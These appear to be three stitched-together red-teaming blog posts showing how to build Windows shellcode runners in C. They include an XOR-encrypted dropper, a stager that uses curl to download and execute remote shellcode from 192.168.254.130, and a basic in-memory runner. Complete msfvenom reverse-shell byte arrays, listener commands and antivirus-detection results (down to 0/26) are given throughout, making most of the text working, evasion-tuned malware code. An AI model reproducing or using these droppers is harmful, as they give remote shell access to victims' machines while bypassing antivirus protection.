\xb3\x4b\x35\x1e\x03\xc8\x8f\x6b\x15\xc2\xbd\x21\x0b\x0a\x12\x23\x4b\x5b\x4b\x4b\x0a\x13\x03\xc2\xb9\x03\x7a\x82\x0a\xf1\x13\xef\x18\xae\xb4\x9e\x03\xc2\x88\x02\xc2\x8c\x06\x7a\x82\x02\xc2\xbb\x03\xc2\x91\x03\xc2\xb2\x0a\xf1\x49\x92\x83\x14\xb4\x9e\xc8\xb3\x4b\x36\x63\x13\x0a\x1c\x12\x23\x4b\x0b\x4b\x4b\x0a\x13\x21\x4b\x11\x0a\xf1\x40\x64\x44\x7b\xb4\x9e\x1c\x12\x0a\xf1\x3e\x25\x06\x2a\xb4\x9e\x02\xb4\x85\xa2\x77\xb4\xb4\xb4\x03\x4a\x88\x03\x62\x8d\x03\xce\xbd\x3e\xff\x0a\xb4\xac\x13\x21\x4b\x12\x02\x8c\x89\xbb\xfe\xe9\x1d\xb4\x9e\x4b

Now, let’s repeat the process by copying the output to decryptor.c while implementing Windows APIs for shell execution:

#include <stdio.h>
#include <windows.h>

unsigned char code[] = "\xb7\x03\xc8\xaf\xbb\xa3\x87\x4b\x4b\x4b\x0a\x1a\x0a\x1b\x19\x1a\x03\x7a\x99\x2e\x03\xc0\x19\x2b\x1d\x03\xc0\x19\x53\x03\xc0\x19\x6b\x06\x7a\x82\x03\xc0\x39\x1b\x03\x44\xfc\x01\x01\x03\x7a\x8b\xe7\x77\x2a\x37\x49\x67\x6b\x0a\x8a\x82\x46\x0a\x4a\x8a\xa9\xa6\x19\x0a\x1a\x03\xc0\x19\x6b\xc0\x09\x77\x03\x4a\x9b\x2d\xca\x33\x53\x40\x49\x44\xce\x39\x4b\x4b\x4b\xc0\xcb\xc3\x4b\x4b\x4b\x03\xce\x8b\x3f\x2c\x03\x4a\x9b\xc0\x03\x53\x0f\xc0\x0b\x6b\x1b\x02\x4a\x9b\xa8\x1d\x06\x7a\x82\x03\xb4\x82\x0a\xc0\x7f\xc3\x03\x4a\x9d\x03\x7a\x8b\x0a\x8a\x82\x46\xe7\x0a\x4a\x8a\x73\xab\x3e\xba\x07\x48\x07\x6f\x43\x0e\x72\x9a\x3e\x93\x13\x0f\xc0\x0b\x6f\x02\x4a\x9b\x2d\x0a\xc0\x47\x03\x0f\xc0\x0b\x57\x02\x4a\x9b\x0a\xc0\x4f\xc3\x03\x4a\x9b\x0a\x13\x0a\x13\x15\x12\x11\x0a\x13\x0a\x12\x0a\x11\x03\xc8\xa7\x6b\x0a\x19\xb4\xab\x13\x0a\x12\x11\x03\xc0\x59\xa2\x00\xb4\xb4\xb4\x16\x02\xf5\x3c\x38\x79\x14\x78\x79\x4b\x4b\x0a\x1d\x02\xc2\xad\x03\xca\xa7\xeb\x4a\x4b\x4b\x02\xc2\xae\x02\xf7\x49\x4b\x4a\xf0\x8b\xe3\xb5\xc9\x0a\x1f\x02\xc2\xaf\x07\xc2\xba\x0a\xf1\x07\x3c\x6d\x4c\xb4\x9e\x07\xc2\xa1\x23\x4a\x4a\x4b\x4b\x12\x0a\xf1\x62\xcb\x20\x4b\xb4\x9e\x21\x41\x0a\x15\x1b\x1b\x06\x7a\x82\x06\x7a\x8b\x03\xb4\x8b\x03\xc2\x89\x03\xb4\x8b\x03\xc2\x8a\x0a\xf1\xa1\x44\x94\xab\xb4\x9e\x03\xc2\x8c\x21\x5b\x0a\x13\x07\xc2\xa9\x03\xc2\xb2\x0a\xf1\xd2\xee\x3f\x2a\xb4\x9e\xce\x8b\x3f\x41\x02\xb4\x85\x3e\xae\xa3\xd8\x4b\x4b\x4b\x03\xc8\xa7\x5b\x03\xc2\xa9\x06\x7a\x82\x21\x4f\x0a\x13\x03\xc2\xb2\x0a\xf1\x49\x92\x83\x14\xb4\x9e\xc8\xb3\x4b\x35\x1e\x03\xc8\x8f\x6b\x15\xc2\xbd\x21\x0b\x0a\x12\x23\x4b\x5b\x4b\x4b\x0a\x13\x03\xc2\xb9\x03\x7a\x82\x0a\xf1\x13\xef\x18\xae\xb4\x9e\x03\xc2\x88\x02\xc2\x8c\x06\x7a\x82\x02\xc2\xbb\x03\xc2\x91\x03\xc2\xb2\x0a\xf1\x49\x92\x83\x14\xb4\x9e\xc8\xb3\x4b\x36\x63\x13\x0a\x1c\x12\x23\x4b\x0b\x4b\x4b\x0a\x13\x21\x4b\x11\x0a\xf1\x40\x64\x44\x7b\xb4\x9e\x1c\x12\x0a\xf1\x3e\x25\x06\x2a\xb4\x9e\x02\xb4\x85\xa2\x77\xb4\xb4\xb4\x03\x4a\x88\x03\x62\x8d\x03\xce\xbd\x3e\xff\x0a\xb4\xac\x13\x21\x4b\x12\x02\x8c\x89\xbb\xfe\xe9\x1d\xb4\x9e\x4b";
int main()
{
 char key = 'K';
 int i = 0;
 for (i; i<sizeof(code) - 1; i++)
 {
  code[i] = code[i]^key;
 }
 
 
 void *exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy(exec, code, sizeof code);
 ((void(*)())exec)();
 return 0;
 
}

If you want to learn more how the shellcode runner is working, you can find it here: https://youtu.be/lkZWaycrr9I

By compiling and running the program, we can see the shell hangs, while receiving a callback:

Testing time

For base model, we will use unencrypted shellcode runner in C:

#include <stdio.h>
#include <windows.h>

unsigned char buf[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\xfe\x82\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

int main()
{
 void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy(exec, buf, sizeof buf);
 ((void(*)())exec)();
 return 0;
}

By uploading it to antiscan.me we can observe 16/26 vendors detected it!

After uploading xor-ed dropper, we can observe doubled evasion statistic:

So, we went from 16/26 to 8/26 which is an amazing result based only on one technique!

Conclusion

AV evasion is fun but time consuming. I do not like repeating myself, but I feel like that one is important: Do not look at AV evasion as having a magic bullet that pierces through all vendors, it is rather a set of techniques, each one lowering the detection rate!

Hope you learned something new!

Stay tuned!

Let’s start with a little bit of history about that journey, some theory and dive into action!

If you prefer watching a video instead of reading, you can find it here: https://youtu.be/Pu06zYUdpGs

Feel free to join my Discord, where we share ideas, knowledge and experience in penetration testing / red teaming: https://discord.gg/dWCe5ZMvtQ

History

With the previous blog / video (https://www.youtube.com/watch?v=lkZWaycrr9I) I created a simple shellcode runner using C. It was done by invoking windows APIs and it was surprisingly easy to implement this on C.

The problem was that many AV vendors caught the dropper.

This was mainly because:

1. The shellcode was from msfvenom, obviously with known signature.
2. The shellcode was stageless, so the full byte array was embedded into global variable.

This is not how we want to bypass AV vendors but was a nice demo to see how to run raw machine instructions (shellcode) using C.

Now it is time to upgrade!

Theory

The main goal now is to reduce the amount of triggered AV vendors by implementing staging.

Staging is simply dividing the execution flow into parts, mainly by downloading the instructions (shellcode) from remote location on runtime. This way signature-based detection is bypassed, since the dropper does not contain any malicious instructions.

The problem is that web requests are hard to implement with low level language like C. All the data and parsing process is tough, that’s why I decided to go for different approach.

The idea behind the stager is simply to run a native OS command (curl) to download the shellcode and parse it into a variable. Executing OS command in C is simple, it is enough to just call system() with the command as a parameter. So, the download cradle would be:

system(curl http://192.168.254.130/code.bin);

The libraries the code requires are the following:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

The only thing we need to discuss is how to parse system output to a variable. Luckily, I found this solution is stackoverflow: https://stackoverflow.com/questions/5919622/how-to-store-the-system-command-output-in-a-variable

Stating that, by running system command with popen, we can append it’s output to character array, JUST WHAT WE NEEDED!

The sample code from the answer is parsing “ls” command character by character:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    FILE *fpipe;
    char *command = "ls";
    char c = 0;

if (0 == (fpipe = (FILE*)popen(command, "r")))
    {
        perror("popen() failed.");
        exit(EXIT_FAILURE);
    }

while (fread(&c, sizeof c, 1, fpipe))
    {
        printf("%c", c);
    }

pclose(fpipe);

return EXIT_SUCCESS;
}

Now, let’s combine the pieces and make our stager.

Action

Let’s use the answer as a template but modify few things. The first thing that needs to be changed, is the command itself.

char *command = "curl http://192.168.254.130/code.bin";

Now, let’s generate a payload file in bynary format and call it “code.bin”. For this demo I was using STAGELESS payload from msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin

Keep in mind that it is always better idea to stick with x64 bit shellcode and processes, since most AV vendor are better optimized for x86 architecture!

From the output we can observe that the payload size is exactly 460 bytes. That is important!

Now let’s create a variable to hold the shellcode data.

unsigned char code[460];

Then, let’s create a counter to loop through the array, we will need this for appending the shellcode char by char:

int counter = 0;

And now modify the while loop to append the read shellcode into the array:

while (fread(&c, sizeof c, 1, fpipe))
    {
        code[counter] = c;
        printf("%c", code[counter]);
        counter = counter + 1;
    }

NICE! The next step is to simply invoke the shellcode as we used to do it into the previous blogpost: https://medium.com/@lsecqt/red-teaming-101-executing-malicious-shellcode-with-c-a-guide-for-beginners-439bff63721d

To summarise, the full code looks like the following:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

int main()
{
    FILE *fpipe;
    char *command = "curl http://192.168.254.130/code.bin";
    char c = 0;
    unsigned char code[460];
    int counter = 0;

if (0 == (fpipe = (FILE*)popen(command, "r")))
    {
        perror("popen() failed.");
        exit(EXIT_FAILURE);
    }

while (fread(&c, sizeof c, 1, fpipe))
    {
        code[counter] = c;
        printf("%c", code[counter]);
        counter = counter + 1;
    }

pclose(fpipe);
    
    void *exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy(exec, code, sizeof code);
 ((void(*)())exec)();
 return 0;

}

Time for some testing

The first test is of course to see if this code is actually working. So let’s setup the environment.

On the kali side we need to host the shellcode and setup a listener. This is done by:

python3 -m http.server 80

And:

nc -nvlp 443

Now let’s execute the payload from the development machine:

The shell prints the downloaded code, and hangs, which we know is a good sign meaning something is going on. And it is, we catched the shell!

So far so good, let’s test it against Windows 10 Defender. Let’s first make sure it is enabled:

It is, we were able to download the file without any kind of disruptions, and upon execution we can observer the same result:

Amazing!

Now let’s take it one step further and test for most known AV vendors on https://antiscan.me/

Here is where the things got interesting:

0 / 26 FLAGGED THE FILE FOR MALICIOUS!!!

Here is the place to say that I am not responsible for your actions with that code, so think before doing something!

Conclusion

Sometimes by implementing simple processes, you can achieve massive results. The point is to try and experiment as much as you can. You will never get the right answer from the first time.

Thank you for your time spent reading / watching. Hope you learned something new!

Hello fellow hackers. While doing Red Teaming, it is important to stay as stealthy as possible. One way of achieving that is to operate as much as you can from memory.

There are many ways to perform memory operations, and it all comes to coding. So set yourself for some offensive coding!

If you prefer watching a video instead of reading, feel welcomed to my YouTube Channel: https://www.youtube.com/c/Lsecqt

Theory

Let’s answer a few questions:

1. Why do we need to execute shellcode?
2. Why using C?

Why do we need shellcode in the first place?

The first question is complicated for beginners. The good Pentester / Red Teamer is one who can write his own tools, such as stagers, c2 beacons, exploits and so on… If you rely on publicly available tools only, your cover is being destroyed, since all of major EDR are updated with their signatures. That’s why we must stick to custom code, but why do we need to use shellcode? Well … In order to operate from memory, (which most of the times means to migrate into a process while not dropping files to disk) we must supply instructions, the machine itself can understand.

Shellcode is hexadecimal representation of raw CPU instructions. Most of the times shellcodes are redirect instructions for stdin, stdout and stderr to remote listener (that is how reverse shell is really working).

Now, why do we need to use C?

Can’t we use more beginner friendly programming language? We can, but there is a catch!

In order to work with memory, we must access what are so called, Windows APIs. This is the internal mechanism of how Windows really works, form allocating memory to spawning a process. In order to work with such APIs, we must add specific libraries or declare specific methods. This can be complex for higher level programming languages, since for each WIN32 API method needed, a new DLLImport must be performed!

Also, languages like C# are using garbage collectors, while low level programming languages have direct memory access (This must be taken seriously).

When it comes to C/C++, the only thing we must perform in order to have access to such APIs, is to include <windows.h> library. Simple right?

Since C/C++ are low level languages, the integration for Windows API and memory operation is really simple. Although the languages are not friendly when it comes to OOP, it is extremely handy when it comes to Penetration Testing and Red Teaming.

Each C/C++ program will generate a Portable Executable (PE) when the code is successfully compiled, which is perfect for c2 droppers, since no additional files (such as dlls) are required.

Action

The idea of today’s exercise is to create a C program, that can execute shellcode within its own process memory context. We will build up from scratch and showcase more complex things in future.

In order to run shellcode, we first must have one, right? Let’s generate a shell_reverse_tcp shellcode with msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f c

It is highly recommended to stick as much as you can with 64 bits architecture. Sometimes by just changing the architecture, we can escape some anti-virus solutions, since they are still optimized for 32bit malwares.

In this demo, we will be using stagless payload just for simplicity. In real engagements we should code custom stagers, but that topic is not for today.

Let’s setup the listener now:

nc -nvlp 443

The listener is ready, let’s open C/C++ IDE (I personally use Dev-C++) and add library imports plus the shellcode generated from msfvenom as a global variable.

#include <stdio.h>
#include <windows.h>

unsigned char buf[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\xfe\x82\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

It is important where we will store our shellcode buffer. It will be stored in different PE section if it is as a global variable or a local one. More about that in future!

The next step is to define main method. All c programs must have main in order to understand from where to start execution.

int main()
{
 return 0;
}

In order to execute the shellcode, we must need to:

1. Allocate memory for the shellcode.
2. Copy shellcode buffer to that memory.
3. Execute it.

The allocation step is performed with a WIN32 API called VirtualAlloc (https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)

void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

By defining a pointer, we can later know at what memory address the allocation was performed. The parameters are simple. First one is being lpAddress, by setting it to 0, the OS will automatically find the start address for the function execution. The second is the size of the shellcode. Third argument is the allocation type flag, and the fourth is memory flag.

The next step is to copy the shellcode into the allocated memory. This is being done with memcpy function (thats why we need the pointer):

memcpy(exec, buf, sizeof buf);

And the third step is to actually execute the shellcode. The C syntax for that is strange and confusing so better note it somewhere:

((void(*)())exec)();

So, the full code is:

#include <stdio.h>
#include <windows.h>

unsigned char buf[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\xfe\x82\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

int main()
{
 void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy(exec, buf, sizeof buf);
 ((void(*)())exec)();
 return 0;
}

After compiling and running it, we observe that the console window idles, but the callback is present:

Conclusion

When it comes to offensive coding, I can state that the C/C++ are doing GREAT!!! Of course, we must not limit to them, but the idea is to build up more knowledge so we can pick a tool, suitable for our needs on runtime.

It was fun building such shellcode runner and we will definitely upgrade in future blogs / videos.

Stay tuned and thank you for reading!